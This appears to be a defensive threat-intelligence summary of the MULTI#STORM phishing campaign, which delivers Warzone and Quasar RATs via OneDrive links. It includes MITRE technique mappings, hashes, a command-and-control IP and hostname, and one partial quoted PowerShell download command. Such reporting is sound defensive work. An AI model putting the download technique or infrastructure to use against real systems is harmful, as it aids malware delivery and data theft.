MULTI#STORM is a phishing-driven campaign that deploys a Python-based loader to drop multiple RAT payloads over OneDrive links, culminating in Warzone RAT and Quasar RAT infections. The operation uses obfuscated JavaScript, PowerShell payloads, and UAC-bypass techniques to achieve persistence and evade defenses. #MULTI#STORM #WarzoneRAT #QuasarRAT #OneDrive #PowerShell #JavaScript #Python #UACbypass
Keypoints
- The attack starts with a phishing email containing a link to a OneDrive-hosted file, leading to a password-protected ZIP distribution.
- A heavily obfuscated REQUEST.js initiates the chain, decoding and running PowerShell one-liners to download additional payloads from OneDrive URLs.
- The dropper/news.exe is a PyInstaller-packed Python executable that extracts further components into a public staging directory and establishes persistence.
- Two shortcut files (Storm.lnk and Exec.lnk) and registry keys are created to maintain startup execution and drop the main RAT (Storm.exe).
- Storm.exe (Warzone RAT) provides rich capabilities (credential theft, browser data theft, remote access, UAC bypass) and is delivered after the loader neutralizes defenses.
- Post-exploitation activity includes loading QuasarRAT (quas.exe) and additional cleanup steps from an external server, with multiple C2/infrastructure patterns observed.
- MITRE-style mappings show a sequence from Phishing to PowerShell/JavaScript execution, obfuscated payloads, registry-based persistence, and encrypted C2 communications via OneDrive and direct IP:port connections.
MITRE Techniques
- [T1566] Phishing – Initial access via phishing email with a OneDrive download link. ‘The attack kicks off like so many others, with a phishing email which has an embedded link. The link references a request for quote which directs the user to a Microsoft OneDrive file for the victim to download.’
- [T1204.002] User Execution: Malicious File – Execution initiated when the user double-clicks REQUEST.js. ‘Assuming that the user double clicks the REQUEST.js file, this is where our code execution begins.’
- [T1059.001] Command and Scripting Interpreter: PowerShell – The loader uses PowerShell one-liners to download and execute files. ‘cmd /c powershell.exe -Command “Invoke-WebRequest -Uri … -OutFile C:UsersPublicLibrariesfiles.pdf”’
- [T1059.007] Command and Scripting Interpreter: JavaScript – The heavily obfuscated REQUEST.js script drives the chain. ‘The JScript file’s code is heavily obfuscated as seen in the figure below.’
- [T1027.010] Obfuscated Files or Information – Obfuscated script and large padding to hinder analysis. ‘The JScript file’s code is heavily obfuscated… and padding at the end of the script using exactly 509992 zero characters.’
- [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder – Persistence via registry keys to run on startup. ‘Persistence on the host is established by the news.exe binary file by creating two registry keys which will execute upon startup.’
- [T1053.005] Scheduled Task/Job – Indirect persistence mechanisms via scheduled tasks in the broader tooling suite. ‘Creates registry keys which will execute upon startup’ (treated under persistence family in this context).
- [T1573.001] Encrypted Channel: Symmetric Cryptography – Encrypted C2 communications within Warzone RAT. ‘Encrypted C2 communication’ described in the payload features.
- [T1105] Ingress Tool Transfer – OneDrive-based staging of multiple payloads. ‘used Microsoft OneDrive links to stage various payloads.’
- [T1571] Non-Standard Port – RAT payloads connect to IP:Port combinations designed to evade detection. ‘connect directly to an IP:Port combination, with a fake appended .ddns.net URL.’
- [T1041] Exfiltration Over C2 Channel – Covert data exfiltration over C2 (implied by RAT capabilities).
- [T1056.001] Input Capture: Keylogging – RAT capability set includes keylogging among data theft features. ‘Keylogging’ listed in the capability set.
- [T1113] Screen Capture – RAT can capture screens as part of credential theft collection. ‘Screen Capture’ listed in the capability set.
- [T1115] Clipboard Data – Clipboard data access as part of credential theft. ‘Clipboard Data’ listed in the capability set.
- [T1119] Automated Collection – Automated data collection through the RAT.
Indicators of Compromise
- [URL] OneDrive download links used to stage payloads – example: hxxps://onedrive.live[.]com/download?… (and other listed OneDrive URLs)
- [IP] Direct RAT connection targets – example: 134.19.179.147:38046/dominion46.ddns[.]net, 134.19.179.147:29185/dominion46.ddns[.]net
- [Domain] ddns.net hostnames used in conjunction with IPs – example: dominion46.ddns.net
- [File name] Dropper and payload files – examples: REQUEST.zip, REQUEST.js, news.exe, files.pdf, S.exe, Storm.exe, quas.exe
- [SHA256] File hashes for known artifacts – examples: REQUEST.zip (8674817912be90a09c5a0840cd2dff2606027fe8843eb868929fc33935f5511e), REQUEST.js (3783acc6600b0555dec5ee8d3cc4d59e07b5078dd33082c5da279a240e7c0e79), news.exe (18C876A24913EE8FC89A146EC6A6350CDC4F081AC93C0477FF8FC054CC507B75)
- [File name] Shortcuts and LNKs used for persistence – examples: Storm.lnk, Exec.lnk
- [URL] OneDrive Update.url and OneDrive.url used for persistence – examples: OneDrive Update.url, OneDrive.url